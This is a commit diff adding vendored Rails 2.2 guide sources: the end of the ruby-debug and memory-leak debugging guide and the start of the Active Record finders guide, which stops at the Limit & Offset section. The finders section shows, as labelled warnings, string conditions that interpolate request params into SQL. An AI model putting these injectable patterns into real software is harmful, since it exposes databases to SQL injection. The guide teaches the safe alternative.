+When your code is behaving in unexpected ways, you can try printing to logs or the console to diagnose the problem. Unfortunately, there are times when this sort of error tracking is not effective in finding the root cause of a problem. When you actually need to journey into your running source code, the debugger is your best companion.
+
+The debugger can also help you if you want to learn about the Rails source code but don't know where to start. Just debug any request to your application and use this guide to learn how to move from the code you have written deeper into Rails code.
+
+=== Setup
+
+The debugger used by Rails, +ruby-debug+, comes as a gem. To install it, just run:
+
+[source, shell]
+----------------------------------------------------------------------------
+$ sudo gem install ruby-debug
+----------------------------------------------------------------------------
+
+In case you want to download a particular version or get the source code, refer to the link:http://rubyforge.org/projects/ruby-debug/[project's page on rubyforge].
+
+Rails has had built-in support for ruby-debug since Rails 2.0. Inside any Rails application you can invoke the debugger by calling the `debugger` method.
+
+Here's an example:
+
+[source, ruby]
+----------------------------------------------------------------------------
+class PeopleController < ApplicationController
+  def new
+    debugger
+    @person = Person.new
+  end
+end
+----------------------------------------------------------------------------
+
+If you see the message in the console or logs:
+
+----------------------------------------------------------------------------
+***** Debugger requested, but was not available: Start server with --debugger to enable *****
+----------------------------------------------------------------------------
+
+Make sure you have started your web server with the option +--debugger+:
+
+[source, shell]
+----------------------------------------------------------------------------
+~/PathTo/rails_project$ script/server --debugger
+=> Booting Mongrel (use 'script/server webrick' to force WEBrick)
+=> Rails 2.2.0 application starting on http://0.0.0.0:3000
+=> Debugger enabled
+...
+----------------------------------------------------------------------------
+
+[TIP]
+In development mode, you can dynamically `require \'ruby-debug\'` instead of restarting the server, if it was started without `--debugger`.
+
+In order to use Rails debugging you'll need to be running either *WEBrick* or *Mongrel*. For the moment, no alternative servers are supported.
+
+=== The Shell
+
+As soon as your application calls the `debugger` method, the debugger will be started in a debugger shell inside the terminal window where you launched your application server, and you will be placed at ruby-debug's prompt `(rdb:n)`. The _n_ is the thread number. The prompt will also show you the next line of code that is waiting to run.
+
+If you got there by a browser request, the browser tab containing the request will be hung until the debugger has finished and the trace has finished processing the entire request.
+
+For example:
+
+----------------------------------------------------------------------------
+ at posts = Post.find(:all)
+(rdb:7)
+----------------------------------------------------------------------------
+
+Now it's time to explore and dig into your application. A good place to start is by asking the debugger for help... so type: `help` (You didn't see that coming, right?)
+
+----------------------------------------------------------------------------
+(rdb:7) help
+ruby-debug help v0.10.2
+Type 'help <command-name>' for help on a specific command
+
+Available commands:
+backtrace  delete   enable  help    next  quit     show    trace
+break      disable  eval    info    p     reload   source  undisplay
+catch      display  exit    irb     pp    restart  step    up
+condition  down     finish  list    ps    save     thread  var
+continue   edit     frame   method  putl  set      tmate   where
+----------------------------------------------------------------------------
+
+[TIP]
+To view the help menu for any command use `help <command-name>` in active debug mode. For example: _+help var+_
+
+The next command to learn is one of the most useful: `list`. You can also abbreviate ruby-debug commands by supplying just enough letters to distinguish them from other commands, so you can also use +l+ for the +list+ command.
+
+This command shows you where you are in the code by printing 10 lines centered around the current line; the current line in this particular case is line 6 and is marked by +=>+.
+
+----------------------------------------------------------------------------
+(rdb:7) list
+[1, 10] in /PathToProject/posts_controller.rb
+   1  class PostsController < ApplicationController
+   2    # GET /posts
+   3    # GET /posts.xml
+   4    def index
+   5      debugger
+=> 6      @posts = Post.find(:all)
+   7
+   8      respond_to do |format|
+   9        format.html # index.html.erb
+   10        format.xml  { render :xml => @posts }
+----------------------------------------------------------------------------
+
+If you repeat the +list+ command, this time using just `l`, the next ten lines of the file will be printed out.
+
+----------------------------------------------------------------------------
+(rdb:7) l
+[11, 20] in /PathTo/project/app/controllers/posts_controller.rb
+   11      end
+   12    end
+   13
+   14    # GET /posts/1
+   15    # GET /posts/1.xml
+   16    def show
+   17      @post = Post.find(params[:id])
+   18
+   19      respond_to do |format|
+   20        format.html # show.html.erb
+----------------------------------------------------------------------------
+
+And so on until the end of the current file. When the end of file is reached, the +list+ command will start again from the beginning of the file and continue again up to the end, treating the file as a circular buffer.
+
+=== The Context
+
+When you start debugging your application, you will be placed in different contexts as you go through the different parts of the stack.
+
+ruby-debug creates a content when a stopping point or an event is reached. The context has information about the suspended program which enables a debugger to inspect the frame stack, evaluate variables from the perspective of the debugged program, and contains information about the place where the debugged program is stopped.
+
+At any time you can call the `backtrace` command (or its alias `where`) to print the backtrace of the application. This can be very helpful to know how you got where you are. If you ever wondered about how you got somewhere in your code, then `backtrace` will supply the answer.
+
+----------------------------------------------------------------------------
+(rdb:5) where
+    #0 PostsController.index
+       at line /PathTo/project/app/controllers/posts_controller.rb:6
+    #1 Kernel.send
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+    #3 ActionController::Filters::InstanceMethods.call_filters(chain#ActionController::Fil...,...)
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb:617
+...
+----------------------------------------------------------------------------
+
+You move anywhere you want in this trace (thus changing the context) by using the `frame _n_` command, where _n_ is the specified frame number.
+
+----------------------------------------------------------------------------
+(rdb:5) frame 2
+#2 ActionController::Base.perform_action_without_filters
+       at line /PathTo/project/vendor/rails/actionpack/lib/action_controller/base.rb:1175
+----------------------------------------------------------------------------
+
+The available variables are the same as if you were running the code line by line. After all, that's what debugging is.
+
+Moving up and down the stack frame: You can use `up [n]` (`u` for abbreviated) and `down [n]` commands in order to change the context _n_ frames up or down the stack respectively. _n_ defaults to one. Up in this case is towards higher-numbered stack frames, and down is towards lower-numbered stack frames.
+
+=== Threads
+
+The debugger can list, stop, resume and switch between running threads by using the command `thread` (or the abbreviated `th`). This command has a handful of options:
+
+* `thread` shows the current thread.
+* `thread list` is used to list all threads and their statuses. The plus + character and the number indicates the current thread of execution.
+* `thread stop _n_` stop thread _n_.
+* `thread resume _n_` resumes thread _n_.
+* `thread switch _n_` switches the current thread context to _n_.
+
+This command is very helpful, among other occasions, when you are debugging concurrent threads and need to verify that there are no race conditions in your code.
+
+=== Inspecting Variables
+
+Any expression can be evaluated in the current context. To evaluate an expression, just type it!
+
+This example shows how you can print the instance_variables defined within the current context:
+
+----------------------------------------------------------------------------
+ at posts = Post.find(:all)
+(rdb:11) instance_variables
+["@_response", "@action_name", "@url", "@_session", "@_cookies", "@performed_render", "@_flash", "@template", "@_params", "@before_filter_chain_aborted", "@request_origin", "@_headers", "@performed_redirect", "@_request"]
+----------------------------------------------------------------------------
+
+As you may have figured out, all of the variables that you can access from a controller are displayed. This list is dynamically updated as you execute code. For example, run the next line using `next` (you'll learn more about this command later in this guide).
+
+----------------------------------------------------------------------------
+(rdb:11) next
+Processing PostsController#index (for 127.0.0.1 at 2008-09-04 19:51:34) [GET]
+  Session ID: BAh7BiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--b16e91b992453a8cc201694d660147bba8b0fd0e
+  Parameters: {"action"=>"index", "controller"=>"posts"}
+/PathToProject/posts_controller.rb:8
+respond_to do |format|
+-------------------------------------------------------------------------------
+
+And then ask again for the instance_variables:
+
+----------------------------------------------------------------------------
+(rdb:11) instance_variables.include? "@posts"
+true
+----------------------------------------------------------------------------
+
+Now + at posts+ is a included in the instance variables, because the line defining it was executed.
+
+[TIP]
+You can also step into *irb* mode with the command `irb` (of course!). This way an irb session will be started within the context you invoked it. But be warned: this is an experimental feature.
+
+The `var` method is the most convenient way to show variables and their values:
+
+----------------------------------------------------------------------------
+var
+(rdb:1) v[ar] const <object>            show constants of object
+(rdb:1) v[ar] g[lobal]                  show global variables
+(rdb:1) v[ar] i[nstance] <object>       show instance variables of object
+(rdb:1) v[ar] l[ocal]                   show local variables
+----------------------------------------------------------------------------
+
+This is a great way to inspect the values of the current context variables. For example:
+
+----------------------------------------------------------------------------
+(rdb:9) var local
+  __dbg_verbose_save => false
+----------------------------------------------------------------------------
+
+You can also inspect for an object method this way:
+
+----------------------------------------------------------------------------
+(rdb:9) var instance Post.new
+ at attributes = {"updated_at"=>nil, "body"=>nil, "title"=>nil, "published"=>nil, "created_at"...
+ at attributes_cache = {}
+ at new_record = true
+----------------------------------------------------------------------------
+
+[TIP]
+The commands `p` (print) and `pp` (pretty print) can be used to evaluate Ruby expressions and display the value of variables to the console.
+
+You can use also `display` to start watching variables. This is a good way of tracking the values of a variable while the execution goes on.
+
+----------------------------------------------------------------------------
+(rdb:1) display @recent_comments
+1: @recent_comments =
+----------------------------------------------------------------------------
+
+The variables inside the displaying list will be printed with their values after you move in the stack. To stop displaying a variable use `undisplay _n_` where _n_ is the variable number (1 in the last example).
+
+=== Step by Step
+
+Now you should know where you are in the running trace and be able to print the available variables. But lets continue and move on with the application execution.
+
+Use `step` (abbreviated `s`) to continue running your program until the next logical stopping point and return control to ruby-debug.
+
+[TIP]
+You can also use `step+ _n_` and `step- _n_` to move forward or backward _n_ steps respectively.
+
+You may also use `next` which is similar to step, but function or method calls that appear within the line of code are executed without stopping. As with step, you may use plus sign to move _n_ steps.
+
+The difference between `next` and `step` is that `step` stops at the next line of code executed, doing just a single step, while `next` moves to the next line without descending inside methods.
+
+For example, consider this block of code with an included +debugger+ statement:
+
+[source, ruby]
+----------------------------------------------------------------------------
+class Author < ActiveRecord::Base
+  has_one :editorial
+  has_many :comments
+
+  def find_recent_comments(limit = 10)
+    debugger
+    @recent_comments ||= comments.find(
+      :all,
+      :conditions => ["created_at > ?", 1.week.ago],
+      :limit => limit
+    )
+  end
+end
+----------------------------------------------------------------------------
+
+[TIP]
+You can use ruby-debug while using script/console. Just remember to `require "ruby-debug"` before calling the `debugger` method.
+
+----------------------------------------------------------------------------
+/PathTo/project $ script/console
+Loading development environment (Rails 2.1.0)
+>> require "ruby-debug"
+=> []
+>> author = Author.first
+=> #<Author id: 1, first_name: "Bob", last_name: "Smith", created_at: "2008-07-31 12:46:10", updated_at: "2008-07-31 12:46:10">
+>> author.find_recent_comments
+/PathTo/project/app/models/author.rb:11
+)
+----------------------------------------------------------------------------
+
+With the code stopped, take a look around:
+
+----------------------------------------------------------------------------
+(rdb:1) list
+[6, 15] in /PathTo/project/app/models/author.rb
+   6      debugger
+   7      @recent_comments ||= comments.find(
+   8        :all,
+   9        :conditions => ["created_at > ?", 1.week.ago],
+   10        :limit => limit
+=> 11      )
+   12    end
+   13  end
+----------------------------------------------------------------------------
+
+You are at the end of the line, but... was this line executed? You can inspect the instance variables.
+
+----------------------------------------------------------------------------
+(rdb:1) var instance
+ at attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+ at attributes_cache = {}
+----------------------------------------------------------------------------
+
++ at recent_comments+ hasn't been defined yet, so it's clear that this line hasn't been executed yet. Use the +next+ command to move on in the code:
+
+----------------------------------------------------------------------------
+(rdb:1) next
+/PathTo/project/app/models/author.rb:12
+ at recent_comments
+(rdb:1) var instance
+ at attributes = {"updated_at"=>"2008-07-31 12:46:10", "id"=>"1", "first_name"=>"Bob", "las...
+ at attributes_cache = {}
+ at comments = []
+ at recent_comments = []
+----------------------------------------------------------------------------
+
+Now you can see that the + at comments+ relationship was loaded and @recent_comments defined because the line was executed.
+
+If you want to go deeper into the stack trace you can move single `steps`, through your calling methods and into Rails code. This is one of the best ways to find bugs in your code, or perhaps in Ruby or Rails.
+
+=== Breakpoints
+
+A breakpoint makes your application stop whenever a certain point in the program is reached. The debugger shell is invoked in that line.
+
+You can add breakpoints dynamically with the command `break` (or just `b`). There are 3 possible ways of adding breakpoints manually:
+
+* `break line`: set breakpoint in the _line_ in the current source file.
+* `break file:line [if expression]`: set breakpoint in the _line_ number inside the _file_. If an _expression_ is given it must evaluated to _true_ to fire up the debugger.
+* `break class(.|\#)method [if expression]`: set breakpoint in _method_ (. and \# for class and instance method respectively) defined in _class_. The _expression_ works the same way as with file:line.
+
+----------------------------------------------------------------------------
+(rdb:5) break 10
+Breakpoint 1 file /PathTo/project/vendor/rails/actionpack/lib/action_controller/filters.rb, line 10
+----------------------------------------------------------------------------
+
+Use `info breakpoints _n_` or `info break _n_` to list breakpoints. If you supply a number, it lists that breakpoint. Otherwise it lists all breakpoints.
+
+----------------------------------------------------------------------------
+(rdb:5) info breakpoints
+Num Enb What
+  1 y   at filters.rb:10
+----------------------------------------------------------------------------
+
+To delete breakpoints: use the command `delete _n_` to remove the breakpoint number _n_. If no number is specified, it deletes all breakpoints that are currently active..
+
+----------------------------------------------------------------------------
+(rdb:5) delete 1
+(rdb:5) info breakpoints
+No breakpoints.
+----------------------------------------------------------------------------
+
+You can also enable or disable breakpoints:
+
+* `enable breakpoints`: allow a list _breakpoints_ or all of them if no list is specified, to stop your program. This is the default state when you create a breakpoint.
+* `disable breakpoints`: the _breakpoints_ will have no effect on your program.
+
+=== Catching Exceptions
+
+The command `catch exception-name` (or just `cat exception-name`) can be used to intercept an exception of type _exception-name_ when there would otherwise be is no handler for it.
+
+To list all active catchpoints use `catch`.
+
+=== Resuming Execution
+
+There are two ways to resume execution of an application that is stopped in the debugger:
+
+* `continue` [line-specification] (or `c`): resume program execution, at the address where your script last stopped; any breakpoints set at that address are bypassed. The optional argument line-specification allows you to specify a line number to set a one-time breakpoint which is deleted when that breakpoint is reached.
+* `finish` [frame-number] (or `fin`): execute until the selected stack frame returns. If no frame number is given, the application will run until the currently selected frame returns. The currently selected frame starts out the most-recent frame or 0 if no frame positioning (e.g up, down or frame) has been performed. If a frame number is given it will run until the specified frame returns.
+
+=== Editing
+
+Two commands allow you to open code from the debugger into an editor:
+
+* `edit [file:line]`: edit _file_ using the editor specified by the EDITOR environment variable. A specific _line_ can also be given.
+* `tmate _n_` (abbreviated `tm`): open the current file in TextMate. It uses n-th frame if _n_ is specified.
+
+=== Quitting
+
+To exit the debugger, use the `quit` command (abbreviated `q`), or its alias `exit`.
+
+A simple quit tries to terminate all threads in effect. Therefore your server will be stopped and you will have to start it again.
+
+=== Settings
+
+There are some settings that can be configured in ruby-debug to make it easier to debug your code. Here are a few of the available options:
+
+* `set reload`: Reload source code when changed.
+* `set autolist`: Execute `list` command on every breakpoint.
+* `set listsize _n_`: Set number of source lines to list by default to _n_.
+* `set forcestep`: Make sure the `next` and `step` commands always move to a new line
+
+You can see the full list by using `help set`. Use `help set _subcommand_` to learn about a particular +set+ command.
+
+[TIP]
+You can include any number of these configuration lines inside a `.rdebugrc` file in your HOME directory. ruby-debug will read this file every time it is loaded. and configure itself accordingly.
+
+Here's a good start for an `.rdebugrc`:
+
+----------------------------------------------------------------------------
+set autolist
+set forcestep
+set listsize 25
+----------------------------------------------------------------------------
+
+== Debugging Memory Leaks
+
+A Ruby application (on Rails or not), can leak memory - either in the Ruby code or at the C code level.
+
+In this section, you will learn how to find and fix such leaks by using Bleak House and Valgrind debugging tools.
+
+=== BleakHouse
+
+link:http://github.com/fauna/bleak_house/tree/master[BleakHouse] is a library for finding memory leaks.
+
+If a Ruby object does not go out of scope, the Ruby Garbage Collector won't sweep it since it is referenced somewhere. Leaks like this can grow slowly and your application will consume more and more memory, gradually affecting the overall system performance. This tool will help you find leaks on the Ruby heap.
+
+To install it run:
+
+----------------------------------------------------------------------------
+sudo gem install bleak_house
+----------------------------------------------------------------------------
+
+Then setup you application for profiling. Then add the following at the bottom of config/environment.rb:
+
+[source, ruby]
+----------------------------------------------------------------------------
+require 'bleak_house' if ENV['BLEAK_HOUSE']
+----------------------------------------------------------------------------
+
+Start a server instance with BleakHouse integration:
+
+----------------------------------------------------------------------------
+RAILS_ENV=production BLEAK_HOUSE=1 ruby-bleak-house ./script/server
+----------------------------------------------------------------------------
+
+Make sure to run a couple hundred requests to get better data samples, then press `CTRL-C`. The server will stop and Bleak House will produce a dumpfile in `/tmp`:
+
+----------------------------------------------------------------------------
+** BleakHouse: working...
+** BleakHouse: complete
+** Bleakhouse: run 'bleak /tmp/bleak.5979.0.dump' to analyze.
+----------------------------------------------------------------------------
+ 
+To analyze it, just run the listed command. The top 20 leakiest lines will be listed: 
+
+----------------------------------------------------------------------------
+  191691 total objects
+  Final heap size 191691 filled, 220961 free
+  Displaying top 20 most common line/class pairs
+  89513 __null__:__null__:__node__
+  41438 __null__:__null__:String
+  2348 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:Array
+  1508 /opt/local//lib/ruby/gems/1.8/specifications/gettext-1.90.0.gemspec:14:String
+  1021 /opt/local//lib/ruby/gems/1.8/specifications/heel-0.2.0.gemspec:14:String
+   951 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:111:String
+   935 /opt/local//lib/ruby/site_ruby/1.8/rubygems/specification.rb:557:String
+   834 /opt/local//lib/ruby/site_ruby/1.8/rubygems/version.rb:146:Array
+  ...
+----------------------------------------------------------------------------
+
+This way you can find where your application is leaking memory and fix it.
+
+If link:http://github.com/fauna/bleak_house/tree/master[BleakHouse] doesn't report any heap growth but you still have memory growth, you might have a broken C extension, or real leak in the interpreter. In that case, try using Valgrind to investigate further.
+
+=== Valgrind
+
+link:http://valgrind.org/[Valgrind] is a Linux-only application for detecting C-based memory leaks and race conditions.
+
+There are Valgrind tools that can automatically detect many memory management and threading bugs, and profile your programs in detail. For example, a C extension in the interpreter calls `malloc()` but is doesn't properly call `free()`, this memory won't be available until the app terminates.
+
+For further information on how to install Valgrind and use with Ruby, refer to link:http://blog.evanweaver.com/articles/2008/02/05/valgrind-and-ruby/[Valgrind and Ruby] by Evan Weaver.
+
+== Plugins for Debugging
+
+There are some Rails plugins to help you to find errors and debug your application. Here is a list of useful plugins for debugging:
+
+* link:http://github.com/drnic/rails-footnotes/tree/master[Footnotes]: Every Rails page has footnotes that give request information and link back to your source via TextMate.
+* link:http://github.com/ntalbott/query_trace/tree/master[Query Trace]: Adds query origin tracing to your logs.
+* link:http://github.com/dan-manges/query_stats/tree/master[Query Stats]: A Rails plugin to track database queries. 
+* link:http://code.google.com/p/query-reviewer/[Query Reviewer]: This rails plugin not only runs "EXPLAIN" before each of your select queries in development, but provides a small DIV in the rendered output of each page with the summary of warnings for each query that it analyzed.
+* link:http://github.com/rails/exception_notification/tree/master[Exception Notifier]: Provides a mailer object and a default set of templates for sending email notifications when errors occur in a Rails application.
+* link:http://github.com/defunkt/exception_logger/tree/master[Exception Logger]: Logs your Rails exceptions in the database and provides a funky web interface to manage them.
+
+== References
+
+* link:http://www.datanoise.com/ruby-debug[ruby-debug Homepage]
+* link:http://www.sitepoint.com/article/debug-rails-app-ruby-debug/[Article: Debugging a Rails application with ruby-debug]
+* link:http://brian.maybeyoureinsane.net/blog/2007/05/07/ruby-debug-basics-screencast/[ruby-debug Basics screencast]
+* link:http://railscasts.com/episodes/54-debugging-with-ruby-debug[Ryan Bate's ruby-debug screencast]
+* link:http://railscasts.com/episodes/24-the-stack-trace[Ryan Bate's stack trace screencast]
+* link:http://railscasts.com/episodes/56-the-logger[Ryan Bate's logger screencast]
+* link:http://bashdb.sourceforge.net/ruby-debug.html[Debugging with ruby-debug]
+* link:http://cheat.errtheblog.com/s/rdebug/[ruby-debug cheat sheet]
+* link:http://wiki.rubyonrails.org/rails/pages/HowtoConfigureLogging[Ruby on Rails Wiki: How to Configure Logging]
+* link:http://blog.evanweaver.com/files/doc/fauna/bleak_house/files/README.html[Bleak House Documentation]
+
+== Changelog ==
+
+http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/5[Lighthouse ticket]
+
+* November 3, 2008: Accepted for publication. Added RJS, memory leaks and plugins chapters by link:../authors.html#miloops[Emilio Tagua]
+* October 19, 2008: Copy editing pass by link:../authors.html#mgunderloy[Mike Gunderloy]
+* September 16, 2008: initial version by link:../authors.html#miloops[Emilio Tagua]

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/finders.txt
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/finders.txt	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/source/finders.txt	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,668 @@
+Rails Finders
+=============
+
+This guide covers the +find+ method defined in +ActiveRecord::Base+, as well as other ways of finding particular instances of your models. By using this guide, you will be able to:
+
+* Find records using a variety of methods and conditions
+* Specify the order, retrieved attributes, grouping, and other properties of the found records
+* Use eager loading to cut down on the number of database queries in your application
+* Use dynamic finders
+* Create named scopes to add custom finding behavior to your models
+* Check for the existence of particular records
+* Perform aggregate calculations on Active Record models
+
+If you're used to using raw SQL to find database records, you'll find that there are generally better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases.
+
+== The Sample Models
+
+This guide demonstrates finding using the following models:
+
+[source,ruby]
+-------------------------------------------------------
+class Client < ActiveRecord::Base
+  has_one :address
+  has_one :mailing_address
+  has_many :orders
+  has_and_belongs_to_many :roles
+end  
+
+class Address < ActiveRecord::Base
+  belongs_to :client
+end
+
+class MailingAddress < Address
+end
+
+class Order < ActiveRecord::Base
+  belongs_to :client, :counter_cache => true
+end
+
+class Role < ActiveRecord::Base
+  has_and_belongs_to_many :clients
+end
+-------------------------------------------------------
+
+== Database Agnostic
+
+Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same. 
+
+== IDs, First, Last and All
+
++ActiveRecord::Base+ has methods defined on it to make interacting with your database and the tables within it much, much easier. For finding records, the key method is +find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of SQL. If you wanted to find the record with the id of 1, you could type +Client.find(1)+ which would execute this query on your database:
+
+[source, sql]
+-------------------------------------------------------
+SELECT * FROM +clients+ WHERE (+clients+.+id+ = 1) 
+-------------------------------------------------------
+
+NOTE: Because this is a standard table created from a migration in Rail, the primary key is defaulted to 'id'. If you have specified a different primary key in your migrations, this is what Rails will find on when you call the find method, not the id column.
+
+If you wanted to find clients with id 1 or 2, you call +Client.find([1,2])+ or +Client.find(1,2)+ and then this will be executed as:
+
+[source, sql]
+-------------------------------------------------------
+SELECT * FROM +clients+ WHERE (+clients+.+id+ IN (1,2)) 
+-------------------------------------------------------
+
+-------------------------------------------------------
+>> Client.find(1,2)
+=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2, 
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, 
+  #<Client id: 2, name: => "Michael", locked: false, orders_count: 3, 
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
+-------------------------------------------------------
+
+Note that if you pass in a list of numbers that the result will be returned as an array, not as a single +Client+ object.
+
+NOTE: If +find(id)+ or +find([id1, id2])+ fails to find any records, it will raise a +RecordNotFound+ exception.
+
+If you wanted to find the first client you would simply type +Client.first+ and that would find the first client created in your clients table:
+
+-------------------------------------------------------
+>> Client.first
+=> #<Client id: 1, name: => "Ryan", locked: false, orders_count: 2, 
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">
+-------------------------------------------------------
+
+If you were running script/server you might see the following output:
+
+[source,sql]
+-------------------------------------------------------
+SELECT * FROM clients LIMIT 1
+-------------------------------------------------------
+
+Indicating the query that Rails has performed on your database. 
+
+To find the last client you would simply type +Client.find(:last)+ and that would find the last client created in your clients table:
+
+-------------------------------------------------------
+>> Client.find(:last)
+=> #<Client id: 2, name: => "Michael", locked: false, orders_count: 3, 
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">
+-------------------------------------------------------
+
+[source,sql]
+-------------------------------------------------------
+SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1
+-------------------------------------------------------
+
+To find all the clients you would simply type +Client.all+ and that would find all the clients in your clients table:
+
+-------------------------------------------------------
+>> Client.all
+=> [#<Client id: 1, name: => "Ryan", locked: false, orders_count: 2, 
+  created_at: "2008-09-28 15:38:50", updated_at: "2008-09-28 15:38:50">, 
+  #<Client id: 2, name: => "Michael", locked: false, orders_count: 3, 
+  created_at: "2008-09-28 13:12:40", updated_at: "2008-09-28 13:12:40">]
+-------------------------------------------------------
+
+As alternatives to calling +Client.first+, +Client.last+, and +Client.all+, you can use the class methods +Client.first+, +Client.last+, and +Client.all+ instead. +Client.first+, +Client.last+ and +Client.all+ just call their longer counterparts: +Client.find(:first)+, +Client.find(:last)+ and +Client.find(:all)+ respectively.
+
+Be aware that +Client.first+/+Client.find(:first)+ and +Client.last+/+Client.find(:last)+ will both return a single object, where as +Client.all+/+Client.find(:all)+ will return an array of Client objects, just as passing in an array of ids to find will do also.
+
+== Conditions
+
+The +find+ method allows you to specify conditions to limit the records returned. You can specify conditions as a string, array, or hash.
+
+=== Pure String Conditions ===
+
+If you'd like to add conditions to your find, you could just specify them in there, just like +Client.first(:conditions => "orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2.
+
+WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.first(:conditions => "name LIKE '%#{params[:name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array.
+
+=== Array Conditions ===
+
+Now what if that number could vary, say as a parameter from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like +Client.first(:conditions => ["orders_count = ?", params[:orders]])+. Active Record will go through the first element in the conditions value and any additional elements will replace the question marks (?) in the first element. If you want to specify two conditions, you can do it like +Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false])+. In this example, the first question mark will be replaced with the value in params orders and the second will be replaced with true and this will find the first record in the table that has '2' as its value for the orders_count field and 'false' for its locked field.
+
+The reason for doing code like:
+
+[source, ruby]
+-------------------------------------------------------
++Client.first(:conditions => ["orders_count = ?", params[:orders]])+
+-------------------------------------------------------
+
+instead of:
+
+-------------------------------------------------------
++Client.first(:conditions => "orders_count = #{params[:orders]}")+
+-------------------------------------------------------
+
+is because of parameter safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your parameters directly inside the conditions string.
+
+TIP: For more information on the dangers of SQL injection, see the link:../security.html#_sql_injection[Ruby on Rails Security Guide].
+
+If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the IN sql statement for this. If you had two dates coming in from a controller you could do something like this to look for a range:
+
+[source, ruby]
+-------------------------------------------------------
+Client.all(:conditions => ["created_at IN (?)",
+  (params[:start_date].to_date)..(params[:end_date].to_date)])
+-------------------------------------------------------
+
+This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against.
+
+[source, sql]
+-------------------------------------------------------
+SELECT * FROM +users+ WHERE (created_at IN 
+  ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05',
+  '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11',
+  '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17',
+  '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',...
+  ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20',
+  '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26',
+  '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31')) 
+-------------------------------------------------------
+
+Things can get *really* messy if you pass in time objects as it will attempt to compare your field to *every second* in that range:
+
+[source, ruby]
+-------------------------------------------------------
+Client.all(:conditions => ["created_at IN (?)", 
+  (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)])
+-------------------------------------------------------
+
+[source, sql]
+-------------------------------------------------------
+SELECT * FROM +users+ WHERE (created_at IN 
+  ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ... 
+  '2007-12-01 23:59:59', '2007-12-02 00:00:00'))
+-------------------------------------------------------
+
+This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error:
+
+-------------------------------------------------------
+Got a packet bigger than 'max_allowed_packet' bytes: _query_
+-------------------------------------------------------
+
+Where _query_ is the actual query used to get that error.
+
+In this example it would be better to use greater-than and less-than operators in SQL, like so:
+
+[source, ruby]
+-------------------------------------------------------
+Client.all(:conditions => 
+  ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]])
+-------------------------------------------------------
+
+You can also use the greater-than-or-equal-to and less-than-or-equal-to like this:
+
+[source, ruby]
+-------------------------------------------------------
+Client.all(:conditions => 
+  ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]])
+-------------------------------------------------------
+
+Just like in Ruby.
+
+=== Hash Conditions ===
+
+Similar to the array style of params you can also specify keys in your conditions:
+
+[source, ruby]
+-------------------------------------------------------
+Client.all(:conditions => 
+  ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }])
+-------------------------------------------------------
+
+This makes for clearer readability if you have a large number of variable conditions.
+
+== Ordering
+
+If you're getting a set of records and want to force an order, you can use +Client.all(:order => "created_at")+ which by default will sort the records by ascending order. If you'd like to order it in descending order, just tell it to do that using +Client.all(:order => "created_at desc")+
+
+== Selecting Certain Fields
+
+To select certain fields, you can use the select option like this: +Client.first(:select => "viewable_by, locked")+. This select option does not use an array of fields, but rather requires you to type SQL-like code. The above code will execute +SELECT viewable_by, locked FROM clients LIMIT 0,1+ on your database. 
+
+== Limit & Offset
+
+If you want to limit the amount of records to a certain subset of all the records retrieved you usually use limit for this, sometimes coupled with offset. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. Take this code for example:
+
+[source, ruby]
+-------------------------------------------------------
+Client.all(:limit => 5)
+-------------------------------------------------------
+
